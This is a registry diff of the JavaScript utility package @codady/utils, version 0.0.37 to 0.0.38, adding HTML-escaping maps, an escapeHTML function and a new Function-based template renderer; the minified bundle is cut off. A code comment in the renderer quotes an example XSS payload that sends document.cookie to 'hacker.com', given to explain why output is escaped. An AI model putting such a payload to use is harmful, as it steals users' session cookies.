@codady/utils 0.0.37 → 0.0.38
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +17 -1
- package/dist/utils.cjs.js +180 -32
- package/dist/utils.cjs.min.js +3 -3
- package/dist/utils.esm.js +180 -32
- package/dist/utils.esm.min.js +3 -3
- package/dist/utils.umd.js +180 -32
- package/dist/utils.umd.min.js +3 -3
- package/dist.zip +0 -0
- package/examples/escapeHTML.html +140 -0
- package/examples/renderTpl.html +272 -0
- package/modules.js +11 -3
- package/modules.ts +10 -3
- package/package.json +1 -1
- package/src/comma - /345/211/257/346/234/254.js" +2 -0
- package/src/escapeCharsMaps.js +73 -0
- package/src/escapeCharsMaps.ts +74 -0
- package/src/escapeHTML.js +23 -25
- package/src/escapeHTML.ts +29 -25
- package/src/escapeRegexMaps.js +19 -0
- package/src/escapeRegexMaps.ts +26 -0
- package/src/renderTpl.js +37 -14
- package/src/renderTpl.ts +38 -18
- package/src/renderTpt.js +73 -0
- package/src/toSingleLine.js +9 -0
- package/src/toSingleLine.ts +9 -0
- package/src/escapeHtmlChars - /345/211/257/346/234/254.js" +0 -28
- package/src/escapeHtmlChars.js +0 -28
- package/src/escapeHtmlChars.ts +0 -29
package/CHANGELOG.md
CHANGED
|
@@ -2,7 +2,23 @@
|
|
|
2
2
|
|
|
3
3
|
All changes to Utils including new features, updates, and removals are documented here.
|
|
4
4
|
|
|
5
|
+
## [v0.0.38] - 2026-1-16
|
|
5
6
|
|
|
7
|
+
### Distribution Files
|
|
8
|
+
* **JS**: https://unpkg.com/@codady/utils@0.0.38/dist/js/utils.js
|
|
9
|
+
* **Zip**:https://unpkg.com/@codady/utils@0.0.38/dist.zip
|
|
10
|
+
|
|
11
|
+
### Changes
|
|
12
|
+
|
|
13
|
+
#### Fixed
|
|
14
|
+
* Null
|
|
15
|
+
|
|
16
|
+
#### Added
|
|
17
|
+
* Added the 变量 `escapeCharsMaps`/`escapeRegexMaps`.新增 `escapeCharsMaps`/`escapeRegexMaps`变量。
|
|
18
|
+
* Added the functions `toSingleLine`/`renderTemplate`.新增 `toSingleLine`/`renderTemplate`函数。
|
|
19
|
+
|
|
20
|
+
#### Removed
|
|
21
|
+
* Null
|
|
6
22
|
|
|
7
23
|
## [v0.0.37] - 2026-1-15
|
|
8
24
|
|
|
@@ -16,7 +32,7 @@ All changes to Utils including new features, updates, and removals are documente
|
|
|
16
32
|
* Null
|
|
17
33
|
|
|
18
34
|
#### Added
|
|
19
|
-
* Added the functions `
|
|
35
|
+
* Added the functions `escapeHTML`/`decodeHtmlEntities`.新增 `escapeHTML`/`decodeHtmlEntities`函数。
|
|
20
36
|
|
|
21
37
|
|
|
22
38
|
#### Removed
|
package/dist/utils.cjs.js
CHANGED
|
@@ -1,8 +1,8 @@
|
|
|
1
1
|
|
|
2
2
|
/*!
|
|
3
|
-
* @since Last modified: 2026-1-15
|
|
3
|
+
* @since Last modified: 2026-1-16 15:18:30
|
|
4
4
|
* @name Utils for web front-end.
|
|
5
|
-
* @version 0.0.
|
|
5
|
+
* @version 0.0.38
|
|
6
6
|
* @author AXUI development team <3217728223@qq.com>
|
|
7
7
|
* @description This is a set of general-purpose JavaScript utility functions developed by the AXUI team. All functions are pure and do not involve CSS or other third-party libraries. They are suitable for any web front-end environment.
|
|
8
8
|
* @see {@link https://www.axui.cn|Official website}
|
|
@@ -240,6 +240,102 @@ const wrapArrayMethods = ({ target, onBeforeMutate = () => { }, onAfterMutate =
|
|
|
240
240
|
return methods;
|
|
241
241
|
};
|
|
242
242
|
|
|
243
|
+
const escapeCharsMaps = {
|
|
244
|
+
//code或pre标签中代码高亮是使用basic
|
|
245
|
+
basic: {
|
|
246
|
+
'&': '&',
|
|
247
|
+
'<': '<',
|
|
248
|
+
'>': '>',
|
|
249
|
+
},
|
|
250
|
+
//需要用在标签属性上attribute
|
|
251
|
+
attribute: {
|
|
252
|
+
'&': '&',
|
|
253
|
+
'<': '<',
|
|
254
|
+
'>': '>',
|
|
255
|
+
'"': '"',
|
|
256
|
+
"'": ''',
|
|
257
|
+
'`': '`',
|
|
258
|
+
},
|
|
259
|
+
//html中的正文内容使用content
|
|
260
|
+
content: {
|
|
261
|
+
'&': '&',
|
|
262
|
+
'<': '<',
|
|
263
|
+
'>': '>',
|
|
264
|
+
'"': '"',
|
|
265
|
+
"'": ''',
|
|
266
|
+
'/': '/',
|
|
267
|
+
},
|
|
268
|
+
//用于url链接则使用uri
|
|
269
|
+
uri: {
|
|
270
|
+
'&': '&',
|
|
271
|
+
'<': '<',
|
|
272
|
+
'>': '>',
|
|
273
|
+
'"': '"',
|
|
274
|
+
"'": ''',
|
|
275
|
+
'(': '(',
|
|
276
|
+
')': ')',
|
|
277
|
+
'[': '[',
|
|
278
|
+
']': ']',
|
|
279
|
+
},
|
|
280
|
+
//极致转意,避免任何注入或非法代码
|
|
281
|
+
paranoid: {
|
|
282
|
+
'&': '&',
|
|
283
|
+
'<': '<',
|
|
284
|
+
'>': '>',
|
|
285
|
+
'"': '"',
|
|
286
|
+
"'": ''',
|
|
287
|
+
'`': '`',
|
|
288
|
+
'/': '/',
|
|
289
|
+
'=': '=',
|
|
290
|
+
'!': '!',
|
|
291
|
+
'#': '#',
|
|
292
|
+
'(': '(',
|
|
293
|
+
')': ')',
|
|
294
|
+
'[': '[',
|
|
295
|
+
']': ']',
|
|
296
|
+
'{': '{',
|
|
297
|
+
'}': '}',
|
|
298
|
+
':': ':',
|
|
299
|
+
';': ';',
|
|
300
|
+
},
|
|
301
|
+
};
|
|
302
|
+
|
|
303
|
+
const escapeRegexMaps = (Object.keys(escapeCharsMaps)).reduce((acc, key) => {
|
|
304
|
+
const chars = Object.keys(escapeCharsMaps[key]);
|
|
305
|
+
// Escape special regex characters to avoid issues in the regex. [ => \[
|
|
306
|
+
const escapedChars = chars.map((c) => c.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'));
|
|
307
|
+
acc[key] = new RegExp(`[${escapedChars.join('')}]`, 'g');
|
|
308
|
+
return acc;
|
|
309
|
+
}, {});
|
|
310
|
+
|
|
311
|
+
const escapeHTML = (str, strength = 'attribute') => {
|
|
312
|
+
// Return empty string if input is null, undefined, or not a string
|
|
313
|
+
if (typeof str !== 'string')
|
|
314
|
+
return '';
|
|
315
|
+
const map = escapeCharsMaps[strength], regex = escapeRegexMaps[strength];
|
|
316
|
+
// Use String.prototype.replace with a global regex.
|
|
317
|
+
// The callback function retrieves the replacement from the map using the matched character as key.
|
|
318
|
+
return str.replace(regex, (match) => map[match]);
|
|
319
|
+
};
|
|
320
|
+
|
|
321
|
+
const getUniqueId = (options = {}) => {
|
|
322
|
+
const prefix = options.prefix, suffix = options.suffix, base10 = options.base10, base36 = options.base36;
|
|
323
|
+
// Current timestamp in milliseconds (since Unix epoch)
|
|
324
|
+
// This provides the primary uniqueness guarantee
|
|
325
|
+
const timestamp = Date.now(),
|
|
326
|
+
// Generate a base-36 random string (0-9, a-z)
|
|
327
|
+
// Math.random() returns a number in [0, 1), converting to base-36 gives a compact representation
|
|
328
|
+
// substring(2, 11) extracts 9 characters starting from index 2
|
|
329
|
+
//0.259854635->0.9crs03e8v2
|
|
330
|
+
base36Random = base36 ? '-' + Math.random().toString(36).substring(2, 11) : '',
|
|
331
|
+
// Additional 4-digit random number for extra randomness
|
|
332
|
+
// This helps avoid collisions in high-frequency generation scenarios
|
|
333
|
+
base10Random = base10 ? '-' + Math.floor(Math.random() * 10000).toString().padStart(4, '0') : '', prefixString = prefix ? prefix + '-' : '', suffixString = suffix ? '-' + suffix : '';
|
|
334
|
+
// Construct the final ID string
|
|
335
|
+
// Format: [prefix_]timestamp_randomBase36_extraRandom
|
|
336
|
+
return `${prefixString}${timestamp}${base36Random}${base10Random}${suffixString}`;
|
|
337
|
+
};
|
|
338
|
+
|
|
243
339
|
const requireTypes = (data, require, cb) => {
|
|
244
340
|
// Normalize the input types (convert to array if it's a single type)
|
|
245
341
|
let requiredTypes = Array.isArray(require) ? require : [require], dataType = getDataType(data), typeLower = dataType.toLowerCase(),
|
|
@@ -267,22 +363,83 @@ const requireTypes = (data, require, cb) => {
|
|
|
267
363
|
return dataType;
|
|
268
364
|
};
|
|
269
365
|
|
|
270
|
-
const
|
|
271
|
-
const
|
|
272
|
-
|
|
273
|
-
|
|
274
|
-
|
|
275
|
-
|
|
276
|
-
|
|
277
|
-
|
|
278
|
-
|
|
279
|
-
|
|
280
|
-
|
|
281
|
-
|
|
282
|
-
|
|
283
|
-
|
|
284
|
-
|
|
285
|
-
|
|
366
|
+
const toSingleLine = (str, collapseSpaces = false) => {
|
|
367
|
+
const result = str.replace(/[\r\t\n]/g, '');
|
|
368
|
+
return collapseSpaces ? result.replace(/\s+/g, ' ') : result;
|
|
369
|
+
};
|
|
370
|
+
|
|
371
|
+
const renderTpl = (html, data, options = {}) => {
|
|
372
|
+
requireTypes(html, 'string', (error) => {
|
|
373
|
+
//不符合要求的类型
|
|
374
|
+
console.error(error);
|
|
375
|
+
return '';
|
|
376
|
+
});
|
|
377
|
+
if (!html.trim())
|
|
378
|
+
return '';
|
|
379
|
+
let dataType = requireTypes(data, ['array', 'object'], (error) => {
|
|
380
|
+
//不符合要求的类型
|
|
381
|
+
console.error(error);
|
|
382
|
+
return html;
|
|
383
|
+
});
|
|
384
|
+
//data={}/[]
|
|
385
|
+
if (Object.keys(data).length === 0) {
|
|
386
|
+
console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
|
|
387
|
+
return html;
|
|
388
|
+
}
|
|
389
|
+
let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options),
|
|
390
|
+
//regStart='\\{\\{'
|
|
391
|
+
regStart = opts.start.split('').map(k => '\\' + k).join(''),
|
|
392
|
+
//regEnd='\\}\\}'
|
|
393
|
+
regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '',
|
|
394
|
+
//代替escapeHTML的方法,在字符串内部的映射,确保不会重名
|
|
395
|
+
escapeName = `__esc__${getUniqueId()}`, add = (fragment, isScript) => {
|
|
396
|
+
if (isScript) {
|
|
397
|
+
//处理语句类(如 {{ if(x) /}} )
|
|
398
|
+
if (fragment.endsWith(opts.suffix)) {
|
|
399
|
+
code += (fragment.slice(0, -opts.suffix.length) + '\n');
|
|
400
|
+
}
|
|
401
|
+
else {
|
|
402
|
+
//处理表达式类(如 {{ name }} )
|
|
403
|
+
//需要避免{ name: '<script>fetch("http://hacker.com?cookie=" + document.cookie)</script>' }这种情况
|
|
404
|
+
//虽然new Function不会执行,但是也需要将其当做纯文本输出,避免renderTpl输出的文本自带风险,此时则需要转意,确保renderTpl的返回值是安全的纯文本
|
|
405
|
+
code += (opts.escape ? `str.push(${escapeName}(String(${fragment}), "${opts.escape}"));\n` : `str.push(${fragment});\n`);
|
|
406
|
+
}
|
|
407
|
+
}
|
|
408
|
+
else {
|
|
409
|
+
//fragment可能自带单引号或双引号,需要转意,避免与push("xxx")语句冲突
|
|
410
|
+
//js语句不能直接文本换行,所以也需要转意换行符
|
|
411
|
+
//换行转意的另外一个意义是,保持原文本的换行,因为在toSingleLine中会删除所有物理换行以确保代码可被执行
|
|
412
|
+
code += (fragment !== '' ? 'str.push("' + fragment.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n').replace(/\r/g, '\\r') + '");\n' : '');
|
|
413
|
+
}
|
|
414
|
+
return add;
|
|
415
|
+
};
|
|
416
|
+
while (match = tplReg.exec(html)) {
|
|
417
|
+
add(html.slice(cursor, match.index))(match[1], true);
|
|
418
|
+
cursor = match.index + match[0].length;
|
|
419
|
+
}
|
|
420
|
+
add(html.slice(cursor));
|
|
421
|
+
code += `return str.join('');`;
|
|
422
|
+
//一行行化代码
|
|
423
|
+
//如果文本"XXX (换行)",js执行会报错,所以需要清理换行
|
|
424
|
+
code = toSingleLine(code);
|
|
425
|
+
try {
|
|
426
|
+
if (opts.strict || dataType === 'Array') {
|
|
427
|
+
//严格模式,或者是数组数据,则必须使用this
|
|
428
|
+
result = new Function(escapeName, code).apply(data, [escapeHTML]);
|
|
429
|
+
}
|
|
430
|
+
else {
|
|
431
|
+
////非严格模式,且是对象,则可省略this
|
|
432
|
+
let keys = Object.keys(data), values = Object.values(data),
|
|
433
|
+
//keys传参,可直接以key为值,this依然可指向data
|
|
434
|
+
tmp = new Function(...keys, escapeName, code).bind(data);
|
|
435
|
+
//执行时以value赋值
|
|
436
|
+
result = tmp(...values, escapeHTML);
|
|
437
|
+
}
|
|
438
|
+
}
|
|
439
|
+
catch (err) {
|
|
440
|
+
console.error(`'${err.message}'`, ' in \n', code, '\n');
|
|
441
|
+
}
|
|
442
|
+
return result;
|
|
286
443
|
};
|
|
287
444
|
|
|
288
445
|
const setMutableMethods = ['add', 'delete', 'clear'];
|
|
@@ -1173,19 +1330,6 @@ const trimEmptyLines = (str) => {
|
|
|
1173
1330
|
return str.replace(/^\s*\n|\n\s*$/g, '') || '';
|
|
1174
1331
|
};
|
|
1175
1332
|
|
|
1176
|
-
const escapeHtmlChars = (text) => {
|
|
1177
|
-
// Check if the input text is empty or undefined
|
|
1178
|
-
if (!text)
|
|
1179
|
-
return '';
|
|
1180
|
-
// Replace the special characters with their corresponding HTML entities
|
|
1181
|
-
return text
|
|
1182
|
-
.replace(/&/g, '&') // Replace '&' with '&'
|
|
1183
|
-
.replace(/</g, '<') // Replace '<' with '<'
|
|
1184
|
-
.replace(/>/g, '>') // Replace '>' with '>'
|
|
1185
|
-
.replace(/"/g, '"') // Replace '"' with '"'
|
|
1186
|
-
.replace(/'/g, '''); // Replace "'" with '''
|
|
1187
|
-
};
|
|
1188
|
-
|
|
1189
1333
|
const decodeHtmlEntities = (text) => {
|
|
1190
1334
|
// Check if the input text is empty or undefined
|
|
1191
1335
|
if (!text)
|
|
@@ -1233,8 +1377,12 @@ const utils = {
|
|
|
1233
1377
|
parseLLMStream,
|
|
1234
1378
|
toKebabCase,
|
|
1235
1379
|
trimEmptyLines,
|
|
1236
|
-
escapeHtmlChars,
|
|
1237
1380
|
decodeHtmlEntities,
|
|
1381
|
+
escapeCharsMaps,
|
|
1382
|
+
escapeRegexMaps,
|
|
1383
|
+
escapeHTML,
|
|
1384
|
+
toSingleLine,
|
|
1385
|
+
renderTpl,
|
|
1238
1386
|
};
|
|
1239
1387
|
|
|
1240
1388
|
module.exports = utils;
|
package/dist/utils.cjs.min.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
/*!
|
|
2
|
-
* @since Last modified: 2026-1-15
|
|
2
|
+
* @since Last modified: 2026-1-16 15:18:30
|
|
3
3
|
* @name Utils for web front-end.
|
|
4
|
-
* @version 0.0.
|
|
4
|
+
* @version 0.0.38
|
|
5
5
|
* @author AXUI development team <3217728223@qq.com>
|
|
6
6
|
* @description This is a set of general-purpose JavaScript utility functions developed by the AXUI team. All functions are pure and do not involve CSS or other third-party libraries. They are suitable for any web front-end environment.
|
|
7
7
|
* @see {@link https://www.axui.cn|Official website}
|
|
@@ -12,4 +12,4 @@
|
|
|
12
12
|
* @copyright This software supports the MIT License, allowing free learning and commercial use, but please retain the terms 'ax,' 'axui,' 'AX,' and 'AXUI' within the software.
|
|
13
13
|
* @license MIT license
|
|
14
14
|
*/
|
|
15
|
-
"use strict";const getDataType=e=>{let t,r=Object.prototype.toString.call(e).slice(8,-1);return t="Function"===r&&/^\s*class\s+/.test(e.toString())?"Class":"Object"===r&&Object.getPrototypeOf(e)!==Object.prototype?"Instance":r,t},deepClone=(e,t={})=>{const r=getDataType(e),a=Object.assign({cloneSet:!0,cloneMap:!0,cloneObject:!0,cloneArray:!0,cloneDate:!0,cloneRegex:!0},t);if(a.interceptor&&"function"==typeof a.interceptor){let t=a.interceptor({input:e,type:r,parent:a.parent});if(t)return t}a.onBeforeClone?.({input:e,type:r,parent:a.parent});let s,n=!0;if("Object"===r&&a.cloneObject){const t={},r=Object.getOwnPropertySymbols(e);for(const r in e)t[r]=deepClone(e[r],a);if(r.length>0)for(const s of r)t[s]=deepClone(e[s],{...a,parent:e});s=t}else if("Array"===r&&a.cloneArray)s=e.map(t=>deepClone(t,{...a,parent:e}));else if("Map"===r&&a.cloneMap){const t=new Map;for(const[r,s]of e)t.set(deepClone(r,a),deepClone(s,{...a,parent:e}));s=t}else if("Set"===r&&a.cloneSet){const t=new Set;for(const r of e)t.add(deepClone(r,{...a,parent:e}));s=t}else if("Date"===r&&a.cloneDate)s=new Date(e.getTime());else if("RegExp"===r&&a.cloneRegex){const t=e;s=new RegExp(t.source,t.flags)}else s=e,n=!1;return a.onAfterClone?.({output:s,input:e,type:r,cloned:n,parent:a.parent}),s},deepCloneToJSON=e=>{const t=getDataType(e);if("Object"===t){const t={};for(const r in e)t[r]=deepCloneToJSON(e[r]);for(const e in t)void 0===t[e]&&Reflect.deleteProperty(t,e);return t}if("Array"===t){return e.map((e,t)=>deepCloneToJSON(e)).filter(e=>void 0!==e)}return["Number","String","Boolean","Null"].includes(t)?e:void 0},arrayMutableMethods=["push","pop","shift","unshift","splice","sort","reverse","copyWithin","fill"],wrapArrayMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a,props:s={}})=>{if(!Array.isArray(e))throw new TypeError("The 'target' parameter must be an array.");a&&!a?.length||(a=arrayMutableMethods);const n={};for(let o of a)n[o]=function(...a){const n={},l=e.length;switch(o){case"push":case"unshift":n.addedItems=[...a];break;case"pop":n.poppedItem=e[l-1];break;case"shift":n.shiftedItem=e[0];break;case"splice":const[t,r]=a,s=t<0?Math.max(l+t,0):Math.min(t,l),o=void 0===r?l-s:r;n.deletedItems=e.slice(s,s+o);break;case"sort":case"reverse":n.oldSnapshot=[...e];break;case"fill":case"copyWithin":const i=a[1]||0,c=void 0===a[2]?l:a[2];n.oldItems=e.slice(i,c),n.start=i,n.end=c}t?.(n);const i=Array.prototype[o].apply(e,a),c={value:i,key:o,args:a,context:n,target:e,...s};return r?.(c),i};return n},requireTypes=(e,t,r)=>{let a=Array.isArray(t)?t:[t],s=getDataType(e),n=s.toLowerCase(),o=a.map(e=>e.toLowerCase()),l=n.includes("html")?"element":n;if(r)try{if(!o.includes(l))throw new TypeError(`Expected data type(s): [${o.join(", ")}], but got: ${l}`)}catch(e){r(e,s)}else if(!o.includes(l))throw new TypeError(`Expected data type(s): [${o.join(", ")}], but got: ${l}`);return s},getUniqueId=(e={})=>{const t=e.prefix,r=e.suffix,a=e.base10,s=e.base36;return`${t?t+"-":""}${Date.now()}${s?"-"+Math.random().toString(36).substring(2,11):""}${a?"-"+Math.floor(1e4*Math.random()).toString().padStart(4,"0"):""}${r?"-"+r:""}`},setMutableMethods=["add","delete","clear"],mapMutableMethods=["set","delete","clear"],wrapSetMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a=setMutableMethods,props:s={}})=>{if(!(e instanceof Set))throw new TypeError("The 'target' parameter must be a Set.");const n={},createWrappedMethod=a=>function(...n){const o={};switch(a){case"add":{const[t]=n;o.addedItem=t,o.existed=e.has(t);break}case"delete":{const[t]=n;o.existed=e.has(t),o.deletedItem=o.existed?t:void 0;break}case"clear":o.clearedItems=Array.from(e),o.previousSize=e.size}t(o);const l=e[a].apply(e,n),i={method:a,result:l,args:n,context:o,target:e,...s};return r(i),l};for(const e of a)setMutableMethods.includes(e)&&(n[e]=createWrappedMethod(e));return Object.defineProperty(n,"target",{get:()=>e,enumerable:!1,configurable:!1}),n},wrapMapMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a=mapMutableMethods,props:s={}})=>{if(!(e instanceof Map))throw new TypeError("The 'target' parameter must be a Map.");const n={},createWrappedMethod=a=>function(...n){const o={};switch(a){case"set":{const[t,r]=n;o.key=t,o.newValue=r,o.existed=e.has(t),o.oldValue=o.existed?e.get(t):void 0;break}case"delete":{const[t]=n;o.key=t,o.existed=e.has(t),o.value=o.existed?e.get(t):void 0;break}case"clear":o.clearedItems=Array.from(e.entries()),o.previousSize=e.size}t(o);const l=e[a].apply(e,n),i={method:a,result:l,args:n,context:o,target:e,...s};return r(i),l};for(const e of a)mapMutableMethods.includes(e)&&(n[e]=createWrappedMethod(e));return Object.defineProperty(n,"target",{get:()=>e,enumerable:!1,configurable:!1}),n},copyObjectWithSymbol=e=>{if(!e||"object"!=typeof e)return e;const t=e,r=Object.getOwnPropertySymbols(t).reduce((e,r)=>(e[r]=t[r],e),{});return{...t,...r}},shallowCopy=(e,t={})=>{const r=getDataType(e);return"Set"===r?new Set([...e]):"Map"===r?new Map([...e]):Array.isArray(e)?[...e]:"object"===r?copyObjectWithSymbol(e):"Date"===r?new Date(e.getTime()):"RegExp"===r?new RegExp(e.source,e.flags):"Buffer"===r?Buffer.from(e):"ArrayBuffer"===r||ArrayBuffer.isView(e)?e.slice(0):"WeakSet"===r?new WeakSet([...e]):"WeakMap"===r?new WeakMap([...e]):"Error"===r?new Error(e.message):e},deepMerge=(e,t,r={})=>{const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1,useEnable:!0,useSymbol:!0,nullBehavior:"preserve",undefinedBehavior:"preserve",deepClone:{},onBeforeMerge:void 0,onAfterMerge:void 0},r),smartMerger=(e,t,a)=>{let s,n,o=getDataType(e),l=getDataType(t),i=!0;if(a.interceptor&&"function"==typeof a.interceptor){let r=a.interceptor({target:e,source:t,targetType:o,sourceType:l,parent:a.parent});if(r){if(null===r?.target||null===r?.source)return r;e=r.target,t=r.source}}return a?.onBeforeMerge?.({target:e,source:t,targetType:o,sourceType:l,parent:a.parent}),"Object"===o&&"Object"===l?(n=deepMergeObjects(e,t,a),s="Object"):"Array"===o&&"Array"===l?(n=deepMergeArrays(e,t,a),s="Array"):"Set"===o&&"Set"===l?(n=deepMergeSets(e,t,a),s="Set"):"Map"===o&&"Map"===l?(n=deepMergeMaps(e,t,a),s="Map"):(i=!1,n=e),a?.onAfterMerge?.({result:n,target:e,source:t,targetType:o,sourceType:l,mergeType:s,parent:r.parent}),{result:n,flag:i,mergeType:s}},mergeEnableObject=(e,t)=>e?.hasOwnProperty("enable")&&"boolean"==typeof t?(e.enable=t,e):t?.hasOwnProperty("enable")&&"boolean"==typeof e?Object.assign({enable:e},t):t,deepMergeObjects=(e,t,r={})=>{let a=getDataType(e),s=getDataType(t);if("Object"!==a||"Object"!==s)return e;const n=Object.assign({inheritMissing:!0,targetClone:!1,useEnable:!0},r);let o={};o=n.targetClone?shallowCopy(e):e;for(let e in t){const a=o[e],s=t[e];if(t.hasOwnProperty(e)&&o.hasOwnProperty(e)){const t=smartMerger(a,s,{...r,parent:o});if(t.flag)t.mergeType?"Object"===t.mergeType&&(o[e]=t.result):o[e]=s;else{let t=n.useEnable?mergeEnableObject(a,s):s;a!==t&&null===t?"ignore"===n.nullBehavior||("delete"===n.nullBehavior?Reflect.deleteProperty(o,e):o[e]=t):a!==t&&void 0===t?"ignore"===n.undefinedBehavior||("delete"===n.undefinedBehavior?Reflect.deleteProperty(o,e):o[e]=s):o[e]=s}}else t.hasOwnProperty(e)&&!o.hasOwnProperty(e)&&n.inheritMissing&&(o[e]=s)}if(n.useSymbol){let e=Object.getOwnPropertySymbols(t);if(e.length)for(let r of e)o[r]=t[r]}return o},deepMergeArrays=(e,t,r={})=>{if(!Array.isArray(e)||!Array.isArray(t))return e;const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1},r),s=a.targetClone?[...e]:e;if("replace"===a.dataMode)for(let e=0;e<t.length&&(a.inheritMissing||!(e>=s.length));e++){smartMerger(s[e],t[e],{...a,parent:s}).flag||(s[e]=t[e])}else"concat"===a.dataMode||(s.length=0),s.push(...t);return s},deepMergeMaps=(e,t,r={})=>{if(!(e instanceof Map&&t instanceof Map))return e;const a=Object.assign({inheritMissing:!0,targetClone:!1,useEnable:!0},r),s=a.targetClone?new Map([...e]):e;for(const[e,n]of t.entries())if(s.has(e)){const t=s.get(e),r=n,o=smartMerger(t,r,a);o.flag?"Object"===o.mergeType&&s.set(e,o.result):s.set(e,r)}else r.inheritMissing&&s.set(e,n);return s},deepMergeSets=(e,t,r={})=>{if(!(e instanceof Set&&t instanceof Set))return e;const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1,useEnable:!0},r),s=a.targetClone?new Set(...e):e;if("replace"===a.dataMode){const e=[...s],r=[...t],n=smartMerger(e,r,a);s.clear();for(let e of n.result)s.add(e)}else if("concat"===a.dataMode)for(let e of t)s.add(e);else{s.clear();for(let e of t)s.add(e)}return s};return smartMerger(e,t,a).result},getEl=(e,t=document.body)=>{let r=getDataType(e),a=getDataType(t),s=a.includes("HTML")||"ShadowRoot"===a?t:document.querySelector(t),n=s&&s instanceof HTMLTemplateElement?s.content:s,o=null;if(e)if(r.includes("HTML"))o=e;else if("String"===r)try{o=(n||document).querySelector(e.trim())}catch{o=null}return o},isEmpty=e=>{let t,r=getDataType(e);return t=!e||("Object"===r?0===Object.keys(e).length:"Array"===r?""===e.join(""):"Function"===r?"{}"===e.toString().replace(/\s+/g,"").match(/{.*}/g)[0]:"Symbol"===r?"()"===e.toString().replace(/\s+/g,"").match(/\(.*\)/g)[0]:"Set"===r||"Map"===r?0===e.size:"Date"===r?isNaN(e.getTime()):"RegExp"===r?""===e.source:"ArrayBuffer"===r?0===e.byteLength:"NodeList"===r||"HTMLCollection"===r||"length"in e&&"number"==typeof e.length?0===e.length:"size"in e&&"number"==typeof e.size?0===e.size:"Error"===r||e instanceof Error?""===e.message:!(!r.includes("Array")||!["Uint8Array","Int8Array","Uint16Array","Int16Array","Uint32Array","Int32Array","Float32Array","Float64Array"].includes(r))&&0===e.length),t},getEls=(e,t=document.body)=>{let r=getDataType(e),a=getEl(t),s=a&&a instanceof HTMLTemplateElement?a.content:a||document,n=[];return isEmpty(e)?n:(r.includes("HTML")?n.push(e):"String"===r?n=(e=e.trim()).split(",").map(e=>[...s.querySelectorAll(e)]).flat():"Array"===r&&(n=e.map(e=>getEl(e,a))),n.filter(Boolean))},createEl=(e,t,r)=>{let a=(e=e||"div").toUpperCase().trim(),s=document.createElement(a),n=getDataType(t);if(t&&"Object"===n)for(let e in t)t.hasOwnProperty(e)&&s.setAttribute(e,"string"==typeof t[e]?t[e]:JSON.stringify(t[e]));return((e,t)=>{if(""===t||null==t)return!1;let r=getDataType(t);if("TEMPLATE"===a)e.innerHTML=t.toString();else if("Array"===r&&t.length>0)for(let r of t){if(getDataType(r).includes("HTML"))e.appendChild(r);else{let t=createEl(r.name,r.attrs,r.content);t&&e.appendChild(t)}}else if(r.includes("HTML"))e.appendChild(t);else if("String"===r&&t.trim().startsWith("#")&&t.trim().length>1){let r=getEl(t);if(!r)return;"TEMPLATE"===r.nodeName?e.appendChild(r.content.cloneNode(!0)):e.insertAdjacentHTML("beforeEnd",r.innerHTML)}else e.insertAdjacentHTML("beforeEnd",t)})(s,r),s},getSvgUri=e=>`data:image/svg+xml;utf8,${e.replace(/\n/g,"").replace(/\s+/g," ").trim().replace(/%/g,"%25").replace(/#/g,"%23").replace(/{/g,"%7B").replace(/}/g,"%7D").replace(/</g,"%3C").replace(/>/g,"%3E")}`,fileToBase64=e=>new Promise((t,r)=>{const a=new FileReader;a.onload=()=>{"string"==typeof a.result?t(a.result):r(new Error("FileReader result is not a string"))},a.onerror=()=>{r(a.error||new Error("Unknown error occurred during file reading"))},a.readAsDataURL(e)}),NAMESPACE="ax",ALIAS="rep",COMMA=",",SPACE=" ",trim=(e,t="compress")=>{if("string"!=typeof e)return"";switch(t){case"start":return e.trimStart();case"end":return e.trimEnd();case"both":return e.trim();case"global":return e.replace(/[\s\r\n]+/g,"");default:return e.trim().replace(/[\s\r\n]+/g," ")}},parseClasses=e=>{let t,r=[];return Array.isArray(e)?r=e.filter(e=>e&&"string"==typeof e):(t=(e=trim(e)).includes(",")?",":" ",r=e.split(t)),r.map(e=>trim(e,"global")).filter(Boolean)},addClasses=(e,t,r)=>{const a=getEl(e),s=parseClasses(t);a&&0!==s.length&&s.forEach(e=>{let t;r?(t=r(e),!0===t?a.classList.add(e):"string"==typeof t&&t&&a.classList.add(t)):a.classList.add(e)})},createTools=e=>{const t=createEl("span",{class:"ax-box-tools"}),renderFn=e=>{const t={},r=e.extendable?'<i rep="arrow"></i>':"",a=(e.icon?`<i rep="icon">${e.icon}</i>`:"")+(e.disk?`<i rep="disk"><img src="${e.disk}"/></i>`:"")+(e.cube?`<i rep="cube"><img src="${e.cube}"/></i>`:"")+(e.image?`<i rep="image"><img src="${e.image}"/></i>`:"")+(e.label?`<i rep="label">${e.label}</i>`:"")+r;e.title&&(t.title=e.title),e.focusable&&(t.tabindex=1),e.wrapEl=createEl(e.nodeName||"span",Object.assign(t,e.attrs),a),e.iconEl=e.wrapEl.querySelector('[rep="icon"]'),e.cubeEl=e.wrapEl.querySelector('[rep="cube"]'),e.diskEl=e.wrapEl.querySelector('[rep="disk"]'),e.imageEl=e.wrapEl.querySelector('[rep="image"]'),e.labelEl=e.wrapEl.querySelector('[rep="label"]'),!isEmpty(e.classes)&&addClasses(e.wrapEl,e.classes),!isEmpty(e.styles)&&(e.wrapEl.style.cssText+=e.styles)};for(let r of e)renderFn(r),t.appendChild(r.wrapEl),r?.action?.(r);return t},getClasses=e=>{let t=getEl(e);return t?parseClasses(t.getAttribute("class")||""):[]},removeClasses=(e,t,r)=>{const a=getEl(e),s=parseClasses(t);a&&0!==s.length&&s.forEach(e=>{let 